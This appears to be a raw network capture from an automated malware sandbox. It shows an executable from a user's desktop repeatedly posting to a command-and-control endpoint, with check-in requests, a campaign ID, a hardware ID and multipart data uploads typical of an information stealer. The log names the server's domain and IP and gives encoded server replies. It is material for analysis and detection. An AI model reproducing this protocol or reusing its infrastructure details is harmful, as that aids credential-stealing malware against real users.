Dec 27, 2024 09:04:27.448821068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:04:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49712	104.21.11.101	443	7496	C:\Users\user\Desktop\vVJvxAfBDM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:02:16 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 08:02:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 08:02:17 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:02:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7bnc249f4nhvlanq8857ld4dbl; expires=Tue, 22 Apr 2025 01:48:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dz1oxkr9XKKXDF0ICLXFYx5%2BnUbVPFmylk%2FTGYyPZEwOf731dND04zUFXZ%2Bi%2FCdBiyt8ME1V83F5zhp6ENPOvAWCCOk6rxjvHWkQZa51PH4kxpoJGuXZYfMw%2FCp3hdf5fZ8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c99629cdc40c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1854&min_rtt=1687&rtt_var=752&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=906&delivery_rate=1730883&cwnd=221&unsent_bytes=0&cid=19bcb7dd350a39b6&ts=760&x=0"
2024-12-27 08:02:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 08:02:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49717	104.21.11.101	443	7496	C:\Users\user\Desktop\vVJvxAfBDM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:02:18 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: mindhandru.buzz
2024-12-27 08:02:18 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-27 08:02:19 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:02:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=utjhks22t62822o8bfp57974t1; expires=Tue, 22 Apr 2025 01:48:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Epw%2FLSkB1YF%2BtaMpNU%2BueEoDpRZA4YbkP%2FDVL%2FFyJMS0zjYxltnjXPzzAWyMeT2CB2Ve87phOwF1Mk4r%2Fi9h8f%2BYlg26jykt1afHX1mZNIsZUMP6GvjkfAF26R8O0iIp0QQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c9a35dcac443-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1703&rtt_var=643&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=946&delivery_rate=1696687&cwnd=244&unsent_bytes=0&cid=07d757b1ddca54eb&ts=787&x=0"
2024-12-27 08:02:19 UTC	238	IN	Data Raw: 31 34 37 39 0d 0a 47 37 5a 75 6d 6e 37 74 69 61 74 61 69 54 79 61 65 47 61 73 51 4a 65 63 31 59 62 79 6d 71 67 66 39 53 73 4d 74 6d 30 35 69 72 35 67 6c 42 69 34 52 4e 6d 6c 69 53 6e 73 48 71 41 4d 46 4e 6b 6c 75 37 36 30 34 74 43 67 7a 6e 36 5a 57 47 6d 61 54 30 2f 6e 6e 43 48 51 44 2f 59 4e 69 4b 57 4a 50 2f 45 65 6f 43 4d 64 6a 69 58 35 76 75 2b 6b 6c 2f 44 4b 66 70 6c 4a 62 64 30 43 53 65 62 64 63 39 6f 4a 38 68 75 4f 37 63 6f 32 35 46 6e 2f 48 51 66 47 4c 76 37 78 76 65 76 51 74 6f 70 36 6a 77 6b 32 6c 43 42 63 2f 74 39 57 31 78 33 78 58 4a 43 6c 30 48 6a 73 55 72 68 43 52 4d 30 6c 39 66 43 7a 34 70 6e 79 77 48 65 52 53 47 6a 63 48 56 44 73 31 6e 50 55 43 76 4d 52 68 2f 6e 48 50 4f 4e 53 2b 52 63 48 Data Ascii: 1479G7Zumn7tiataiTyaeGasQJec1Ybymqgf9SsMtm05ir5glBi4RNmliSnsHqAMFNklu7604tCgzn6ZWGmaT0/nnCHQD/YNiKWJP/EeoCMdjiX5vu+kl/DKfplJbd0CSebdc9oJ8huO7co25Fn/HQfGLv7xvevQtop6jwk2lCBc/t9W1x3xXJCl0HjsUrhCRM0l9fCz4pnywHeRSGjcHVDs1nPUCvMRh/nHPONS+RcH
2024-12-27 08:02:19 UTC	1369	IN	Data Raw: 6a 6d 79 31 2b 61 2b 6b 79 4c 69 5a 54 35 52 59 66 38 45 43 53 2b 36 63 5a 70 6f 56 75 42 75 44 71 35 46 34 34 31 4c 32 48 77 66 42 4a 66 54 2b 70 65 75 51 2b 38 4a 31 6b 30 4e 68 32 77 42 56 34 74 74 78 33 51 76 33 47 34 66 74 78 6a 75 72 45 4c 67 64 48 49 35 36 74 64 36 6e 35 35 50 73 78 32 7a 58 56 69 44 4e 54 31 7a 6b 6e 43 47 55 43 76 59 64 67 75 76 62 4d 4f 42 56 2f 51 67 50 78 79 2f 34 2f 72 72 75 6e 2f 76 4b 65 70 31 44 59 64 34 4c 56 75 58 61 65 64 52 4d 74 6c 79 49 38 34 6c 67 71 33 33 39 43 67 50 43 4e 4c 66 45 39 2f 76 65 34 59 70 36 6d 77 6b 32 6c 41 64 65 36 39 39 79 32 77 2f 77 46 35 33 72 32 7a 37 6d 57 2b 6f 63 41 63 41 6f 39 75 79 39 36 70 62 37 77 33 61 65 54 47 6e 51 54 78 57 6f 32 32 47 55 56 4c 67 39 67 75 44 46 4d 76 78 65 75 41 56 Data Ascii: jmy1+a+kyLiZT5RYf8ECS+6cZpoVuBuDq5F441L2HwfBJfT+peuQ+8J1k0Nh2wBV4ttx3Qv3G4ftxjurELgdHI56td6n55Psx2zXViDNT1zknCGUCvYdguvbMOBV/QgPxy/4/rrun/vKep1DYd4LVuXaedRMtlyI84lgq339CgPCNLfE9/ve4Yp6mwk2lAde699y2w/wF53r2z7mW+ocAcAo9uy96pb7w3aeTGnQTxWo22GUVLg9guDFMvxeuAV
2024-12-27 08:02:19 UTC	1369	IN	Data Raw: 65 79 37 37 70 62 33 78 33 48 58 42 79 37 54 46 78 75 77 6e 46 50 58 47 50 73 57 7a 64 37 4b 4e 75 56 5a 37 6c 6f 62 67 44 75 31 2b 62 75 6b 79 4c 6a 48 66 4a 39 50 66 4e 73 43 57 4f 62 53 64 74 45 44 38 42 79 50 35 73 77 38 34 46 58 37 46 77 44 63 4b 50 58 32 73 75 57 61 38 6f 6f 7a 31 30 35 32 6c 46 63 62 32 63 74 79 6c 6a 6e 37 45 6f 48 73 33 33 6a 30 45 4f 46 61 41 38 4a 69 72 62 36 36 37 4a 58 39 78 58 79 64 52 32 76 65 41 31 50 6d 33 32 76 62 43 50 67 51 68 2b 48 45 4e 75 39 57 38 52 45 50 79 43 4c 30 39 50 65 71 30 50 2f 53 50 63 38 4a 57 74 4d 44 56 75 65 65 54 4e 63 43 39 68 75 5a 71 39 5a 32 38 68 37 2f 46 6b 53 57 59 76 6e 33 74 2b 2b 61 2f 4d 70 36 6d 6b 78 74 30 77 78 57 37 39 5a 33 30 77 6a 30 46 59 4c 74 79 54 2f 76 57 2b 6f 66 44 63 49 75 Data Ascii: ey77pb3x3HXBy7TFxuwnFPXGPsWzd7KNuVZ7lobgDu1+bukyLjHfJ9PfNsCWObSdtED8ByP5sw84FX7FwDcKPX2suWa8ooz1052lFcb2ctyljn7EoHs33j0EOFaA8Jirb667JX9xXydR2veA1Pm32vbCPgQh+HENu9W8REPyCL09Peq0P/SPc8JWtMDVueeTNcC9huZq9Z28h7/FkSWYvn3t++a/Mp6mkxt0wxW79Z30wj0FYLtyT/vW+ofDcIu
2024-12-27 08:02:19 UTC	1369	IN	Data Raw: 4c 51 35 34 52 6b 31 30 35 69 6c 46 63 62 34 64 56 72 32 67 4c 78 45 59 6e 6a 7a 6a 62 6d 56 66 34 52 41 38 6b 6b 2b 50 61 36 34 5a 50 35 7a 6e 65 46 53 6d 58 65 41 6c 47 6f 6b 6a 6e 54 46 4c 68 45 7a 38 7a 46 45 66 74 46 36 67 78 45 30 57 7a 73 76 72 44 6f 30 4b 43 4b 66 70 68 41 59 64 77 48 56 4f 66 59 64 39 49 4b 39 52 6d 41 34 64 73 77 35 56 50 7a 46 51 2f 63 49 76 6a 36 75 2b 43 59 38 38 41 39 32 51 6c 70 7a 45 38 44 71 4f 6c 30 32 77 7a 37 43 73 2f 30 68 79 47 72 57 66 52 61 58 49 34 75 2b 2f 36 34 36 4a 7a 7a 77 6e 79 62 52 32 6e 52 42 6c 50 67 7a 6e 6a 51 42 50 6b 53 67 4f 72 4e 50 65 35 61 2f 78 34 43 77 57 4b 37 76 72 44 38 30 4b 43 4b 55 72 42 38 4c 50 55 31 47 2f 65 53 59 4a 51 4c 39 46 7a 58 71 38 55 37 35 31 62 33 48 41 33 43 4b 50 7a 31 75 Data Ascii: LQ54Rk105ilFcb4dVr2gLxEYnjzjbmVf4RA8kk+Pa64ZP5zneFSmXeAlGokjnTFLhEz8zFEftF6gxE0WzsvrDo0KCKfphAYdwHVOfYd9IK9RmA4dsw5VPzFQ/cIvj6u+CY88A92QlpzE8DqOl02wz7Cs/0hyGrWfRaXI4u+/646JzzwnybR2nRBlPgznjQBPkSgOrNPe5a/x4CwWK7vrD80KCKUrB8LPU1G/eSYJQL9FzXq8U751b3HA3CKPz1u
2024-12-27 08:02:19 UTC	904	IN	Data Raw: 4a 65 5a 4a 47 62 39 55 4a 53 65 2f 56 61 39 6f 42 39 78 53 48 34 73 67 38 37 6c 50 2b 46 67 37 50 4a 66 76 77 76 36 54 65 75 4d 31 6c 31 78 45 75 39 52 39 41 2b 73 70 30 39 51 48 33 58 4a 43 6c 30 48 6a 73 55 72 68 43 52 4d 63 77 38 66 4f 6c 37 5a 66 32 78 58 36 46 53 47 50 66 48 56 7a 6e 32 48 37 59 43 76 63 61 6a 75 37 44 4e 4f 78 62 38 78 55 49 6a 6d 79 31 2b 61 2b 6b 79 4c 6a 6b 64 6f 52 65 62 64 6f 45 54 66 4f 63 5a 70 6f 56 75 42 75 44 71 35 46 34 36 46 58 7a 48 67 54 43 49 76 48 7a 74 2f 61 66 2f 38 31 30 6e 46 74 6b 30 77 68 51 34 4e 64 32 30 68 37 30 45 70 33 75 32 79 71 72 45 4c 67 64 48 49 35 36 74 63 69 77 39 49 44 37 69 45 79 42 53 6e 6a 66 41 6c 65 6f 77 7a 66 4e 54 50 38 51 7a 37 4f 4a 50 75 52 58 2b 78 55 46 78 79 37 34 2b 37 37 68 6b 66 Data Ascii: JeZJGb9UJSe/Va9oB9xSH4sg87lP+Fg7PJfvwv6TeuM1l1xEu9R9A+sp09QH3XJCl0HjsUrhCRMcw8fOl7Zf2xX6FSGPfHVzn2H7YCvcaju7DNOxb8xUIjmy1+a+kyLjkdoRebdoETfOcZpoVuBuDq5F46FXzHgTCIvHzt/af/810nFtk0whQ4Nd20h70Ep3u2yqrELgdHI56tciw9ID7iEyBSnjfAleowzfNTP8Qz7OJPuRX+xUFxy74+77hkf
2024-12-27 08:02:19 UTC	1369	IN	Data Raw: 33 34 61 33 0d 0a 4e 6b 4a 57 75 6e 55 63 64 51 4b 38 68 69 4d 34 73 6f 2f 34 6c 6a 7a 47 51 37 42 4a 66 50 36 74 2b 2b 58 39 73 78 34 6e 45 41 75 6d 6b 39 63 38 4a 77 68 6c 43 72 62 44 70 33 5a 78 7a 76 77 48 75 64 55 48 59 34 6c 2b 62 37 76 70 4a 76 77 78 57 2b 53 51 47 62 51 42 6c 76 73 31 6e 54 54 44 50 30 52 69 75 2f 48 50 4f 78 65 39 42 55 44 78 69 33 78 2f 72 69 6b 33 72 6a 4e 5a 64 63 52 4c 76 51 45 54 63 6e 53 63 73 5a 4d 35 31 4b 57 71 38 34 30 71 77 61 34 46 41 33 50 4b 76 76 79 76 2b 43 43 2b 4d 46 30 6d 45 68 68 31 41 78 61 34 74 52 72 30 67 7a 7a 46 49 6a 6a 7a 54 62 35 58 2f 64 61 53 6f 34 6c 37 62 37 76 70 4b 48 75 7a 58 71 59 43 30 66 54 46 46 72 69 33 33 4c 59 54 4f 64 53 6c 71 76 4f 4e 4b 73 47 75 42 63 49 77 79 62 6e 38 72 66 6b 6d 66 Data Ascii: 34a3NkJWunUcdQK8hiM4so/4ljzGQ7BJfP6t++X9sx4nEAumk9c8JwhlCrbDp3ZxzvwHudUHY4l+b7vpJvwxW+SQGbQBlvs1nTTDP0Riu/HPOxe9BUDxi3x/rik3rjNZdcRLvQETcnScsZM51KWq840qwa4FA3PKvvyv+CC+MF0mEhh1Axa4tRr0gzzFIjjzTb5X/daSo4l7b7vpKHuzXqYC0fTFFri33LYTOdSlqvONKsGuBcIwybn8rfkmf
2024-12-27 08:02:19 UTC	1369	IN	Data Raw: 52 32 76 56 41 31 48 76 30 6d 76 56 42 76 51 64 69 4f 7a 43 4b 75 42 4d 38 78 49 48 77 43 72 38 2f 72 6e 6b 6b 66 58 4b 50 64 6b 4a 61 63 78 50 41 36 6a 35 57 73 4d 61 38 6c 36 73 2f 4e 38 79 37 46 4c 75 45 51 58 4e 4e 50 6a 75 39 36 72 51 36 63 31 73 31 78 46 34 78 42 68 63 39 35 4a 67 6c 41 76 30 58 4e 65 72 77 6a 66 6c 55 2f 4d 65 44 63 73 71 39 76 75 79 37 70 7a 30 79 33 57 65 51 32 76 52 43 56 48 72 30 6e 62 56 41 50 77 56 67 65 4b 4a 64 71 74 5a 34 46 70 63 6a 68 54 6c 2b 61 2f 70 67 4c 72 34 66 6f 5a 59 65 39 6b 66 58 61 72 7a 65 74 67 50 2f 52 75 66 71 39 5a 32 38 68 37 2f 46 6b 53 57 59 76 58 36 75 2b 65 58 39 73 56 77 6d 45 35 6c 32 77 56 56 2b 74 4e 38 33 41 44 77 45 5a 33 68 77 79 72 69 56 2f 55 55 44 4e 77 68 74 62 44 33 34 34 69 34 6b 6a 32 Data Ascii: R2vVA1Hv0mvVBvQdiOzCKuBM8xIHwCr8/rnkkfXKPdkJacxPA6j5WsMa8l6s/N8y7FLuEQXNNPju96rQ6c1s1xF4xBhc95JglAv0XNerwjflU/MeDcsq9vuy7pz0y3WeQ2vRCVHr0nbVAPwVgeKJdqtZ4FpcjhTl+a/pgLr4foZYe9kfXarzetgP/Rufq9Z28h7/FkSWYvX6u+eX9sVwmE5l2wVV+tN83ADwEZ3hwyriV/UUDNwhtbD344i4kj2
2024-12-27 08:02:19 UTC	1369	IN	Data Raw: 52 6c 57 2b 4e 39 38 30 7a 4c 47 45 6f 6a 2f 7a 6a 62 74 58 72 68 55 52 4d 46 69 72 63 66 33 72 4e 44 48 68 44 32 50 43 54 61 55 4f 6c 6a 6d 30 6e 37 43 48 62 55 2f 6d 50 33 44 49 36 6c 34 2f 77 73 4e 32 43 2f 6e 76 76 6d 6b 6c 72 69 53 4c 64 6b 4a 61 73 56 50 41 37 69 4f 49 6f 46 66 72 30 7a 64 39 49 63 68 71 30 69 34 51 6c 61 41 59 75 65 2b 37 36 54 58 2b 39 68 76 6b 55 70 34 31 30 68 6c 31 76 78 79 77 67 33 31 46 34 50 56 39 79 33 6f 55 50 59 64 45 74 39 69 75 37 36 34 70 4d 6a 42 69 6a 58 58 64 69 43 55 46 78 75 77 6e 45 7a 58 41 76 59 62 6d 66 71 45 47 4f 42 49 2b 52 63 50 77 6d 44 30 38 36 66 6a 30 4c 61 4b 65 39 63 52 50 70 70 50 58 2f 6d 63 49 59 52 65 6f 30 6e 63 76 4a 6c 71 39 42 44 68 57 68 4b 4f 65 71 65 77 39 2f 62 51 6f 49 6f 36 6c 46 74 38 Data Ascii: RlW+N980zLGEoj/zjbtXrhURMFircf3rNDHhD2PCTaUOljm0n7CHbU/mP3DI6l4/wsN2C/nvvmklriSLdkJasVPA7iOIoFfr0zd9Ichq0i4QlaAYue+76TX+9hvkUp410hl1vxywg31F4PV9y3oUPYdEt9iu764pMjBijXXdiCUFxuwnEzXAvYbmfqEGOBI+RcPwmD086fj0LaKe9cRPppPX/mcIYReo0ncvJlq9BDhWhKOeqew9/bQoIo6lFt8
2024-12-27 08:02:19 UTC	1369	IN	Data Raw: 76 63 63 70 52 43 75 42 72 50 73 35 74 32 71 31 72 70 57 6c 79 65 63 4b 36 72 35 4c 50 41 71 74 55 7a 6a 67 6c 34 6c 46 63 4a 70 70 78 72 6c 46 53 34 57 34 7a 35 32 7a 37 6f 53 50 74 64 4f 76 41 45 39 76 6d 78 35 35 37 76 32 7a 2b 34 53 6d 58 59 41 31 7a 2b 34 6b 66 42 44 2f 59 53 69 50 33 59 65 4b 55 65 39 31 70 63 39 32 4c 6b 39 4c 43 6f 32 4c 54 62 62 70 6c 43 65 4e 4e 50 5a 4b 61 63 59 5a 52 55 75 43 6d 4d 35 63 63 2f 2f 55 2b 31 50 41 66 4a 4a 50 62 77 6f 50 58 51 74 6f 70 37 31 78 45 38 6d 6b 39 66 2b 5a 77 68 68 46 36 6a 53 64 79 38 6d 57 72 30 45 4f 46 61 45 6f 35 36 70 72 44 33 39 74 43 67 69 6a 71 5a 52 47 2f 58 41 56 6a 36 7a 6e 2f 58 47 76 74 62 73 64 58 73 4e 65 5a 62 39 68 30 36 38 41 50 2f 37 72 72 72 6c 38 62 30 53 6f 5a 4f 66 70 59 70 57 Data Ascii: vccpRCuBrPs5t2q1rpWlyecK6r5LPAqtUzjgl4lFcJppxrlFS4W4z52z7oSPtdOvAE9vmx557v2z+4SmXYA1z+4kfBD/YSiP3YeKUe91pc92Lk9LCo2LTbbplCeNNPZKacYZRUuCmM5cc//U+1PAfJJPbwoPXQtop71xE8mk9f+ZwhhF6jSdy8mWr0EOFaEo56prD39tCgijqZRG/XAVj6zn/XGvtbsdXsNeZb9h068AP/7rrrl8b0SoZOfpYpW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49723	104.21.11.101	443	7496	C:\Users\user\Desktop\vVJvxAfBDM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:02:21 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TB0SD0KB2UC7RHGVXQA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12853 Host: mindhandru.buzz
2024-12-27 08:02:21 UTC	12853	OUT	Data Raw: 2d 2d 54 42 30 53 44 30 4b 42 32 55 43 37 52 48 47 56 58 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 36 33 44 46 46 39 31 32 42 42 34 32 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 54 42 30 53 44 30 4b 42 32 55 43 37 52 48 47 56 58 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 42 30 53 44 30 4b 42 32 55 43 37 52 48 47 56 58 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --TB0SD0KB2UC7RHGVXQAContent-Disposition: form-data; name="hwid"3463DFF912BB4217BEBA0C6A975F1733--TB0SD0KB2UC7RHGVXQAContent-Disposition: form-data; name="pid"2--TB0SD0KB2UC7RHGVXQAContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-27 08:02:21 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:02:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0eo1gtf1qsm41hcqoo05er8ivi; expires=Tue, 22 Apr 2025 01:49:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YjQlyyU%2FGmvscoQSp2t4x7NLOqSjJgIrjFogXcOWkp%2BzidEUhBtTeuEdnN9PqJ5z5UyHJmiwg42jqObfDxTjqssiNi%2BSrDGWL7lnrriB6rGie4KjnvNZHgtpl9LreKAhMI4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c9b2dc6f4407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1668&min_rtt=1662&rtt_var=636&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13793&delivery_rate=1704611&cwnd=230&unsent_bytes=0&cid=db7a806d96c70054&ts=864&x=0"
2024-12-27 08:02:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:02:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49729	104.21.11.101	443	7496	C:\Users\user\Desktop\vVJvxAfBDM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:02:23 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GC65YPTRQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15005 Host: mindhandru.buzz
2024-12-27 08:02:23 UTC	15005	OUT	Data Raw: 2d 2d 47 43 36 35 59 50 54 52 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 36 33 44 46 46 39 31 32 42 42 34 32 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 47 43 36 35 59 50 54 52 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 43 36 35 59 50 54 52 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 47 43 36 35 59 50 54 52 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --GC65YPTRQContent-Disposition: form-data; name="hwid"3463DFF912BB4217BEBA0C6A975F1733--GC65YPTRQContent-Disposition: form-data; name="pid"2--GC65YPTRQContent-Disposition: form-data; name="lid"PsFKDg--pablo--GC65YPTRQContent-Disp
2024-12-27 08:02:24 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:02:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5q05g17m76od286hashj4nehjg; expires=Tue, 22 Apr 2025 01:49:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y4hcSUhc0A4IgfFczZ1Q%2BkbCfX0zyDLL7FrYtc72KGm7Jyb5YB9d3KEKQ8xWjQT%2BWCzNXsMQpBArDHJ5Vk4LRN%2BHvuqq9i6%2FmBnGflnhpecGgT0CcCnomkbnpUHZGovkLrk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c9c0c83d2395-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1806&min_rtt=1799&rtt_var=689&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2837&recv_bytes=15935&delivery_rate=1572428&cwnd=139&unsent_bytes=0&cid=9bd42209afc3731b&ts=804&x=0"
2024-12-27 08:02:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:02:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49735	104.21.11.101	443	7496	C:\Users\user\Desktop\vVJvxAfBDM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:02:25 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CONMMG6F0S9PVESTX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20422 Host: mindhandru.buzz
2024-12-27 08:02:25 UTC	15331	OUT	Data Raw: 2d 2d 43 4f 4e 4d 4d 47 36 46 30 53 39 50 56 45 53 54 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 36 33 44 46 46 39 31 32 42 42 34 32 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 43 4f 4e 4d 4d 47 36 46 30 53 39 50 56 45 53 54 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 43 4f 4e 4d 4d 47 36 46 30 53 39 50 56 45 53 54 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --CONMMG6F0S9PVESTXContent-Disposition: form-data; 